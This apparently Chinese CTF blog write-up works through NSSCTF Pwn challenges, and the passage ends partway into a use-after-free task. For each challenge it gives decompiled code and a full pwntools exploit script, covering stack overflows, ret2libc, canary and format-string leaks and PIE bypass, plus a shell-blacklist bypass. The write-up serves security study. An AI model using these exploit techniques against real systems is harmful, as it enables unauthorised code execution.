NSSCTF Pwn Page 1 - 2

这篇具有很好参考价值的文章主要介绍了NSSCTF Pwn Page 1 - 2。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


NSSCTF Pwn 第一页-第二页全部题目解析。
刷了大概一个月的NSSCTF,对Pwn的理解更高了,虽然也没高到哪去。

[SWPUCTF 2021 新生赛]nc签到

知识点:

使用NC连接题目,获取flag值。

解题步骤:

查看源码

不是ELF程序,所以直接打开查看。
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
发现是一个过滤了 cat , ls , cd , echo , ${IFS} 的shell程序。
那么本题的意思就是绕过这个blacklist即可cat flag。

EXP:

其实这里存在一个漏洞:它没有过滤su,我们可以直接su提权到root然后cat flag。
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
算是非预期,如果正常做要怎样做呢?
tac$IFS$9flag
这里有一个知识点:
tac和cat:
tac指令 将文本逆序打印出来
cat指令 将文本正序打印出来

${IFS}$9
${IFS}在Bash中表示“Internal Field Separator”,用于分隔参数的内部字段分隔符,默认情况下,IFS被设置为包含空格、制表符和换行符的字符串。
也就是将空格视为9,这样就绕过了blacklist。
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

[SWPUCTF 2021 新生赛]gift_pwn

知识点:

基础的栈溢出利用,使用read函数溢出buf即可。

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
开启了栈不可执行,但是问题不大。
打开IDA发现只有三个函数:main,gift,vuln。

main函数 调用了vuln函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln(argc, argv, envp);
  return 0;
}

vuln函数 调用read读入0x64大小的数据,而buf只有0x10的大小。

ssize_t vuln()
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  return read(0, buf, 0x64uLL);
}

gift函数

int gift()
{
  puts("Welcom new to NSS");
  return system("/bin/sh");
}

后门函数。

EXP:

十分简单的一道栈溢出题目,有两种Payload写法,但是效果都是一样的。

第一种:

我们需要使用 ROPgadget 工具获取一个ret,以用来返回到我们的gift函数。
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

from pwn import *

Local = 1
if Local == 1:
    io = process('./gift_pwn')
else:
    io = remote('1.14.71.254',28252)
elf = ELF('./gift_pwn')

Padding = b'A' * (0x10 + 0x08)
ret = 0x400451
gift = elf.sym['gift']

Payload = Padding + p64(ret) + p64(gift)
io.sendline(Payload)
io.interactive()

第二种

我们直接使用call _system
既不需要rdi寄存器传参,又不需要ret寄存器。
首先我们打开IDA,选中gift函数,按TAB切换为反汇编视角。
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
这就是我们要找的call _system,为了避免使用rdi我们选择这个而不是直接的call _system

from pwn import *

Local = 1
if Local == 1:
    io = process('./gift_pwn')
else:
    io = remote('1.14.71.254',28252)
elf = ELF('./gift_pwn')

Padding = b'A' * (0x10 + 0x08)
system = 0x4005C4

Payload = Padding + p64(system)
io.sendline(Payload)
io.interactive()

[CISCN 2019华北]PWN1

知识点:

同样是基础的栈溢出。

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
main函数调用了func函数,我们主要来看func函数。

int func()
{
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    return system("cat /flag");
  else
    return puts("Its value should be 11.28125");
}

func函数调用了gets函数,gets函数不会检查输入的字符串数量,因此可以无脑溢出。

EXP:

我们只需要将返回地址更改为system(“cat /flag”)即可。
老方法:
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

from pwn import *

Local = 1
if Local == 1:
    io = process('./CISCN_Pwn_HB')
else:
    io = remote('1.14.71.254','28768')

Padding = b'A' * (0x30 + 0x08)
system = 0x4006BE

Payload = Padding + p64(system)

io.sendline(Payload)
io.interactive()

[BJDCTF 2020]babystack2.0

知识点:

整数溢出,因为read函数判断的是一个无符号数,因此我们可以使用-1输入几乎无限多的字符。

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
几乎全裸程序,看看源码:

{
  char buf[12]; // [rsp+0h] [rbp-10h] BYREF
  size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  if ( (int)nbytes > 10 )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  puts("[+]What's u name?");
  read(0, buf, (unsigned int)nbytes);
  return 0;
}

本题存在后门函数,backdoor。

EXP:

main函数调用了scanf,读取一个数,如果大于10,就退出程序。
显然是防止栈溢出的手段,但是这个数也就是nbytes是一个无符号数,如果是-1的话,那么就会变成2^32-1=4294967295。
在scanf后还有一个read,read读取的字符串长度是nbytes,那么思路很明确,绕过第一个if即可。

from pwn import *

Local = 1
if Local == 1:
    io = process('./bs2.0')
else:
    io = remote('1.14.71.254','28768')

Padding = b'A' * (0x10 + 0x08)
backdoor = 0x40072A

io.recvuntil(b'name:\n')
io.sendline(b'-1')
Payload = Padding + p64(backdoor)
io.recvuntil(b'name?\n')
io.sendline(Payload)
io.interactive()

[NISACTF 2022]ReorPwn?

知识点:

多看源码,多运行

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
保护开的挺多,开了Full RELRO,NX,PIE。
看看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("evcexe ot tnaw uoy tahw em lleT:");
  gets(a);
  fun(a);
  system(a);
  return 0;
}

EXP:

main函数调用了gets函数,随后把gets函数获取的字符串传参进入fun函数,fun函数将输入的字符串反向打印,然后使用system函数执行字符串。
因此我们甚至都不需要进行溢出,我们只需要输入2个字符即可getshell。
验证猜想:
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

from pwn import *

io = remote('1.14.71.254',28285)

io.sendline(b'hs')
io.interactive()

[BJDCTF 2020]babystack

知识点:

基础栈溢出

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
几乎全裸的程序。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[12]; // [rsp+0h] [rbp-10h] BYREF
  size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  puts("[+]What's u name?");
  read(0, buf, (unsigned int)nbytes);
  return 0;
}

本题就是babystack2.0的1.0,没有if判断输入的长度,因此可以直接复用那题的PoC,只需要删除sendline部分即可。

from pwn import *

Local = 1
if Local == 1:
    io = process('./bs')
else:
    io = remote('1.14.71.254','28768')

Padding = b'A' * (0x10 + 0x08)
backdoor = 0x4006EA

Payload = Padding + p64(backdoor)
io.sendline(Payload)
io.interactive()

[NISACTF 2022]ezstack

知识点:

基础栈溢出和ret2text

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
几乎全裸的32位程序。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  shell();
  return 0;
}
ssize_t shell()
{
  char buf[72]; // [esp+0h] [ebp-48h] BYREF

  system("echo Welcome to NISACTF");
  return read(0, buf, 0x60u);
}

EXP:

main调用shell函数,shell函数首先使用system输出一串文字,再读取一段0x60大小的数据,我们可以利用这个read构造栈溢出,然后调用system函数执行/bin/sh
按Shift + F12 打开String界面,发现存在/bin/sh
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

from pwn import *

Local = 1
if Local == 1:
    io = process('./ezstack')
else:
    io = remote('1.14.71.254',28252)
elf = ELF('./ezstack')

Padding = b'A' * (0x48 + 0x04)
system = 0x8048512
binsh = 0x804A024

Payload = Padding + p32(system) + p32(binsh)
io.sendline(Payload)
io.interactive()

由于我是直接使用call _system的,因此我不需要使用p32(0)或者任意数据进行栈对齐。如果使用的是system_plt,那么Payload需要这样构造:

Payload = Padding + p32(system_plt) + p32(0) + p32(binsh)

[2021 鹤城杯]babyof

知识点:

熟练掌握ret2libc,ret2syscall即可轻松解决。

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

int sub_400632()
{
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF

  puts("Do you know how to do buffer overflow?");
  read(0, buf, 0x100uLL);
  return puts("I hope you win");
}

EXP:

main函数调用sub_400632函数,400632函数调用read输入0x100大小的数据,显然存在栈溢出。但是本题没有后门函数,因此我们使用ret2libc。

from pwn import *
from LibcSearcher import *

Local = 0
if Local == 1:
    io = process('./babyof1')
else:
    io = remote('1.14.71.254',28394)
elf = ELF('./babyof1')
context(arch='amd64',os='linux',log_level='debug')

Padding = b'A' * (0x40 + 0x08)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x400743
ret = 0x400506
main = 0x400632

Payload_Leak = Padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.recvuntil(b'overflow?\n')
io.sendline(Payload_Leak)

io.recvuntil(b'win\n')
Address = u64(io.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
print(hex(Address))

# 使用LibcSearcher本地搜索偏移
#libc = LibcSearcher('puts',Address)
#libcbase = Address - libc.dump('puts')
#system = libcbase + libc.dump('system')
#binsh = libcbase + libc.dump('str_bin_sh')
#libc = LibcSearcher('puts',Address)

# 远程的libc版本是libc6_2.27-3ubuntu1.4_amd64,我的本地没有这个libc,因此我走了直接使用libc-database计算偏移。
libcbase = Address - 0x080aa0
system = libcbase + 0x04f550
binsh = libcbase + 0x1b3e1a

Payload_Shell = Padding + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.recvuntil(b'overflow?\n')
io.sendline(Payload_Shell)
io.interactive()

如果打不通,那么通常是LibcSearcher有点问题,换一个基本就解决了,比如用LibcSearcherX和LibcSearcher。

[SWPUCTF 2021 新生赛]whitegive_pwn

知识点:

熟练掌握ret2libc,ret2syscall即可轻松解决。
使用这个LibcSearcher,即可直接在线和本地打通。

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
真的是白给pwn…就一个gets函数,只需要进行libc泄露即可。

EXP:

from pwn import *
from LibcSearcher import *

Local = 1
if Local == 1:
    io = process('./whitegive_pwn')
else:
    io = remote('1.14.71.254',28252)
elf = ELF('./whitegive_pwn')
context(arch='amd64',os='linux',log_level='debug')

Padding = b'A' * (0x10 + 0x08)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x400763
ret = 0x400509
main = elf.sym['main']

Payload_Leak = Padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(Payload_Leak)

Address = u64(io.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
print(hex(Address))

libc = LibcSearcher('puts',Address)
libcbase = Address - libc.dump('puts')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')

Payload_Shell = Padding + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(Payload_Shell)
io.interactive()

[NISACTF 2022]ezpie

知识点:

使用真实地址计算出基址,然后计算出shell函数的真实地址即可。

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  puts("OHHH!,give you a gift!");
  printf("%p\n", main);
  puts("Input:");
  vuln();
  return 0;
}

main函数打印出main的真实地址,然后调用vuln函数。
vuln函数存在栈溢出漏洞。

ssize_t vuln()
{
  char buf[40]; // [esp+0h] [ebp-28h] BYREF

  return read(0, buf, 0x50u);
}
int shell()
{
  return system("/bin/sh");
}

EXP:

使用main函数的地址减去它的偏移,可以在IDA中找到。
然后使用算出来的base_address加上shell函数的偏移。
调用即可getshell。

from pwn import *

context(arch='i386',os='linux',log_level='debug')

Local = 1
if Local == 1:
   io = process('./ezpie')
else:
   io = remote('1.14.71.254','28768')

elf = ELF('./ezpie')
Padding = b'A' * (0x28 + 0x04)

io.recvuntil(b'gift!\n')
main = int(io.recv(10), 16)
base = main - 0x770
shell = base + 0x80F

Payload = Padding + p32(shell)
io.sendline(Payload)
io.interactive()

[GFCTF 2021]where_is_shell

知识点

$0在某些系统中可以充当/bin/sh

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
看到了基础的栈溢出漏洞,但是没有puts也没有write,但是有tips函数。
tips函数在伪代码中是看不出来的,我们需要打开IDA的显示机器码选项:
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
查看对应反汇编处的代码
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

EXP:

发现了$0
我们可以使用system($0)构建Payload,同样可以getshell。
$0是\x24\x30,因此我们的地址是0x400541

from pwn import *

Locale = 1
if Locale == 1:
    io = process('./where_is_shell')
else:
    io = remote('1.14.71.254',28674)

elf = ELF('./where_is_shell')

context(arch='amd64', os='linux', log_level='debug')

Padding = b'A' * (0x10 + 0x08)

sh = 0x400541
system = elf.sym['system']
ret = 0x400416
rdi = 0x4005E3

Payload = Padding + p64(ret) + p64(rdi) + p64(sh) + p64(system)
io.recvuntil(b'it?')
io.sendline(Payload)
io.interactive()

[watevrCTF 2019]Voting Machine 1

知识点:

ret2text

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
很明显的存在栈溢出漏洞,我们只需要构造栈溢出劫持程序控制流到super_secret_function即可。

EXP:

from pwn import *

Locale = 1
if Locale == 1:
    io = process('./vm1')
else:
    io = remote('1.14.71.254', 28674)

elf = ELF('./vm1')

context(arch='i386', os='linux', log_level='debug')

Padding = b'A' * (0x02 + 0x08)
ret = 0x400656

ssf = elf.sym['super_secret_function']
Payload = Padding + p64(ret) + p64(ssf)
io.sendline(Payload)
io.interactive()

[2021 鹤城杯]littleof

知识点:

泄露Canary

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
当时遇到Canary吓得我把这个推后了好久才做,现在回来看发现难度不过如此。

unsigned __int64 sub_4006E2()
{
  char buf[8]; // [rsp+10h] [rbp-50h] BYREF
  FILE *v2; // [rsp+18h] [rbp-48h]
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v2 = stdin;
  puts("Do you know how to do buffer overflow?");
  read(0, buf, 0x100uLL);
  printf("%s. Try harder!", buf);
  read(0, buf, 0x100uLL);
  puts("I hope you win");
  return __readfsqword(0x28u) ^ v3;
}

主要的函数是这个,使用printf泄露Canary。本题没有格式化字符串漏洞。

EXP:

具体关于Canary为什么要使用这个特殊的Padding,看我的这篇文章:[2021 鹤城杯]littleof

from pwn import *
from LibcSearcher import *

Locale = 1
if Locale == 1:
    io = process('./littleof1')
else:
    io = remote('1.14.71.254', 28674)

elf = ELF('./littleof1')

context(arch='amd64', os='linux', log_level='debug')

Padding = b'A' * (0x50 - 0x08)
Fake_RBP = b'A' * 0x08

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x4006E2
ret = 0x40059E
rdi = 0x400863

io.recvuntil(b'overflow?\n')
io.sendline(Padding)
io.recvuntil(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n')
Canary = u64(io.recv(7).rjust(8, b'\x00'))
print(hex(Canary))

Payload_Leak = Padding + p64(Canary) + Fake_RBP + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.recvuntil(b'harder!')
io.sendline(Payload_Leak)
io.recvuntil(b'win\n')
Address = u64(io.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))

libc = LibcSearcher('puts', Address)
libcbase = Address - libc.dump('puts')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')

io.recvuntil(b'overflow?\n')
io.sendline(Padding)
io.recvuntil(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n')

Payload_Shell = Padding + p64(Canary) + Fake_RBP + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.recvuntil(b'harder!')
io.sendline(Payload_Shell)
io.interactive()

[HNCTF 2022 Week1]easync

EXP:

nc连接上之后去nothing里cat flag,去gift里cat flag,然后拼起来。

[CISCN 2019东北]PWN2

知识点:

熟练掌握ret2libc。

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
一个加解密程序,但是解密无法使用。溢出点在encrypt函数中。

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xCu;
      }
      else
      {
        s[x] ^= 0xDu;
      }
    }
    else
    {
      s[x] ^= 0xEu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

EXP:

from pwn import *
from LibcSearcher import *

Local = 1
if Local == 1:
    io = process('./CISCN_DB_Pwn2')
else:
    io = remote('1.14.71.254','28768')
elf = ELF('./CISCN_DB_Pwn2')

context(arch='amd64',os='linux',log_level='debug')

Padding = b'A' * (0x50 + 0x08)
rdi = 0x400C83
ret = 0x4006B9
puts_plt = elf.sym['puts']
puts_got = elf.got['puts']
main = elf.sym['main']

io.recvuntil(b'choice!\n')
io.sendline(b'1')
io.recvuntil(b'encrypted\n')

Payload = Padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

io.sendline(Payload)

io.recvuntil(b'Ciphertext\n')
io.recvuntil(b'\n')
Address = u64(io.recv(6).ljust(8, b'\x00'))

libc = LibcSearcher('puts', Address)
libcbase = Address - libc.dump('puts')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')

io.recvuntil(b'choice!\n')
io.sendline(b'1')
io.recvuntil(b'encrypted\n')

Payload_Shell = Padding + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(Payload_Shell)
io.interactive()

关于为什么Addreess前面是

io.recvuntil(b'Ciphertext\n')
io.recvuntil(b'\n')

是因为encrypt函数中使用puts函数打印泄露地址时需要先接收掉2个puts的内容,第一个是

  puts("Ciphertext");

第二个是

  return puts(s);

第二个很简单,直接recvuntil(b’\n’)即可。因为puts会在结尾自动加上\n截断。

[深育杯 2021]find_flag

知识点:

格式化字符串

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
保护全开,有点吓人。但是实际上也就那样。
主要的内容集中在函数sub_132F中。

unsigned __int64 sub_132F()
{
  char format[32]; // [rsp+0h] [rbp-60h] BYREF
  char v2[56]; // [rsp+20h] [rbp-40h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Hi! What's your name? ");
  gets(format);
  printf("Nice to meet you, ");
  strcat(format, "!\n");
  printf(format);
  printf("Anything else? ");
  gets(v2);
  return __readfsqword(0x28u) ^ v3;
}

很明显的栈溢出漏洞,以及一个格式化字符串漏洞。

EXP:

第二个printf没有指定格式,因此我们可以利用它。
具体操作方法如下:
我们需要使用gdb进行调试。
首先将断点下在第一个printf上,也就是0x134A。
关于如何下断点在PIE全开的程序上,可以看我的这篇文章:NSSCTF 刷题记录
我们运行程序,一路next到gets函数然后随便输入点内容。
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
然后我们使用stack指令查看栈上的情况。
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
Canary就已经找到了,位于0x7fffffffdde8,也就是图中rbp上面一条。
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
Canary总是以截断符结束,因此找起来很简单。
使用fmtarg计算偏移
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
测试是否正确
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
确实泄露了Canary。
因为本题开启了PIE,我们需要寻找一个可以泄露并且计算的函数用来获取基址。
rbp下面刚好就有一个符合条件的
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
然后就可以开始构造Payload了,题目给了我们system,给了我们NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
确定好偏移是0x146F
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

from pwn import *
from LibcSearcher import *

Local = 1
if Local == 1:
    io = process('./find_flag')
else:
    io = remote('1.14.71.254','28768')
elf = ELF('./find_flag')

context(arch='amd64',os='linux',log_level='debug')

Padding = b'A' * (0x40 - 0x08)
Fake_RBP = b'A' * 0x08

io.recvuntil(b'name? ')
io.sendline(b'%17$p-%19$p')
io.recvuntil(b'you, ')
Canary = int(io.recv(18), 16)
print(hex(Canary))
io.recvuntil(b'-')
Address = int(io.recv(14), 16)
print(hex(Address))
Base = Address - 0x146F
system = Base + elf.sym['system']
cf = Base + 0x2004
rdi = Base + 0x14E3
ret = Base + 0x101A

Payload = Padding + p64(Canary) + Fake_RBP + p64(ret) + p64(rdi) + p64(cf) + p64(system)
io.recvuntil(b'else? ')
io.sendline(Payload)
io.recv()
io.interactive()

[WUSTCTF 2020]getshell

知识点:

基础栈溢出

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
就不贴源码了,相信能看到这的多少都能秒杀这种题

EXP:

from pwn import *

io = process('./getshell')
elf = ELF('./getshell')

Padding = b'A' * ( 0x18 + 0x04 )

shell = elf.sym['shell']

Payload = Padding  + p32(shell)
io.sendline(Payload)
io.interactive()

主要是这题目的flag藏得深。其实也就那样。

[SWPUCTF 2022 新生赛]Does your nc work?

知识点:

nc,基础命令 cat,ls的使用

EXP:

cat /nss/ctf/flag

[2021 鹤城杯]easyecho

知识点:

使用stack_chk_fail函数泄露

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
有意思起来了。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  bool v3; // zf
  __int64 v4; // rcx
  char *v5; // rsi
  const char *v6; // rdi
  char v8[16]; // [rsp+0h] [rbp-A8h] BYREF
  __int64 (__fastcall *v9)(); // [rsp+10h] [rbp-98h]
  char v10[104]; // [rsp+20h] [rbp-88h] BYREF
  unsigned __int64 v11; // [rsp+88h] [rbp-20h]

  v11 = __readfsqword(0x28u);
  sub_DA0(a1, a2, a3);
  sub_F40();
  v9 = sub_CF0;
  puts("Hi~ This is a very easy echo server.");
  puts("Please give me your name~");
  _printf_chk(1LL, "Name: ");
  sub_E40(v8);
  _printf_chk(1LL, "Welcome %s into the server!\n", v8);
  do
  {
    while ( 1 )
    {
      _printf_chk(1LL, "Input: ");
      gets(v10);
      _printf_chk(1LL, "Output: %s\n\n", v10);
      v4 = 9LL;
      v5 = v10;
      v6 = "backdoor";
      do
      {
        if ( !v4 )
          break;
        v3 = *v5++ == *v6++;
        --v4;
      }
      while ( v3 );
      if ( !v3 )
        break;
      ((void (__fastcall *)(const char *, char *))v9)(v6, v5);
    }
  }
  while ( strcmp(v10, "exitexit") );
  puts("See you next time~");
  return 0LL;
}

大意是一个登录程序,但是登陆后就无限循环打印你输入的内容。
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  bool v3; // zf
  __int64 v4; // rcx
  char *v5; // rsi
  const char *v6; // rdi
  char v8[16]; // [rsp+0h] [rbp-A8h] BYREF
  __int64 (__fastcall *v9)(); // [rsp+10h] [rbp-98h]
  char v10[104]; // [rsp+20h] [rbp-88h] BYREF
  unsigned __int64 v11; // [rsp+88h] [rbp-20h]

  v11 = __readfsqword(0x28u);
  sub_DA0(a1, a2, a3);
  sub_F40();
  v9 = sub_CF0;
  puts("Hi~ This is a very easy echo server.");
  puts("Please give me your name~");
  _printf_chk(1LL, "Name: ");
  sub_E40(v8, 16LL);
  _printf_chk(1LL, "Welcome %s into the server!\n", v8);
  do
  {
    while ( 1 )
    {
      _printf_chk(1LL, "Input: ");
      gets(v10);
      _printf_chk(1LL, "Output: %s\n\n", v10);
      v4 = 9LL;
      v5 = v10;
      v6 = "backdoor";
      do
      {
        if ( !v4 )
          break;
        v3 = *v5++ == *v6++;
        --v4;
      }
      while ( v3 );
      if ( !v3 )
        break;
      ((void (__fastcall *)(const char *, char *))v9)(v6, v5);
    }
  }
  while ( strcmp(v10, "exitexit") );
  puts("See you next time~");
  return 0LL;
}

EXP:

存在栈溢出函数,gets,我们可以利用这个溢出栈触发stack_chk_fail
源码中name的参数由sub_E40,sub_E40是自定义的接收数据的函数,将接收到的数据放入buf中,长度为a2。

unsigned __int64 __fastcall sub_E40(char *buf, __int64 a2)
{
  ssize_t v4; // rax
  int v5; // eax
  unsigned __int64 v7; // [rsp+8h] [rbp-20h]

  v7 = __readfsqword(0x28u);
  while ( a2 )
  {
    v4 = read(0, buf, 1uLL);
    if ( !v4 )
      break;
    if ( v4 == -1 )
    {
      v5 = *_errno_location();
      if ( v5 != 11 && v5 != 4 )
        return __readfsqword(0x28u) ^ v7;
    }
    else
    {
      if ( *buf == 10 )
      {
        *buf = 0;
        return __readfsqword(0x28u) ^ v7;
      }
      ++buf;
    }
    --a2;
  }
  return __readfsqword(0x28u) ^ v7;
}

在main中sub_E40的输入长度被限制为16,也就是我们最多输入16个字节的数据。
我们尝试输入8个AB来查看栈上的情况:
发现有一个函数的地址是可以被泄露的:
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
发现正好是函数sub_CF0
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
CF0正好是读取flag的函数

int sub_CF0()
{
  __int64 v0; // rax
  int v1; // ebx
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( unk_2020A0 )
  {
    return __readfsqword(0x28u) ^ v3;
  }
  else
  {
    unk_2020A0 = 1;
    v1 = open("./flag", 0);
    if ( v1 < 0 )
      perror("open");
    read(v1, &unk_202040, 0x50uLL);
    LODWORD(v0) = close(v1);
  }
  return v0;
}

我们使用sub_CF0计算程序偏移。然后计算出flag地址,无脑往栈中覆盖flag地址即可。
覆盖的数可以自定义,不是必须0x100。50也行,1000不行。

from pwn import *

Local = 0
if Local == 1:
    io = process('./easyecho')
else:
    io = remote('127.0.0.1',10000)
elf = ELF('./easyecho')

context(arch='amd64', os='linux', log_level='debug')

io.recv()
io.sendline(b'AB' * 8) # sub_E40(v8,16)
io.recvuntil(b'AB' * 8)

# Leak Address
Address = u64(io.recv(6).ljust(8, b'\x00'))
#[DEBUG] Received 0x30 bytes:
#    00000000  57 65 6c 63  6f 6d 65 20  41 42 41 42  41 42 41 42  │Welc│ome │ABAB│ABAB│
#    00000010  41 42 41 42  41 42 41 42  f0 8c 95 d4  ca 55 20 69  │ABAB│ABAB│····│·U i│
#    00000020  6e 74 6f 20  74 68 65 20  73 65 72 76  65 72 21 0a  │nto │the │serv│er!·│
#    00000030
#

# Calc Adress
log.success('sub_CF0 Address: ' + hex((Address)))
Base = Address - 0xCF0
log.success('Base Address: ' + hex((Base)))
flag = Base + 0x202040
log.success('Flag Address: ' + hex((flag)))

# Recv for later attack
io.recvuntil(b'Input: ')
# backdoor bypass while
io.sendline(b'backdoor')

# Payload
Payload = b'exitexit'.ljust(16, b'\x00') + p64(flag) * 0x100
#gdb.attach(io)
print(str(Payload))
io.sendline(Payload)
io.interactive()

[NISACTF 2022]UAF

知识点:

UAF漏洞,Use After Free

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
函数就这么几个主要,是经典的菜单题。
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

EXP:

漏洞出现在del函数中:

  else
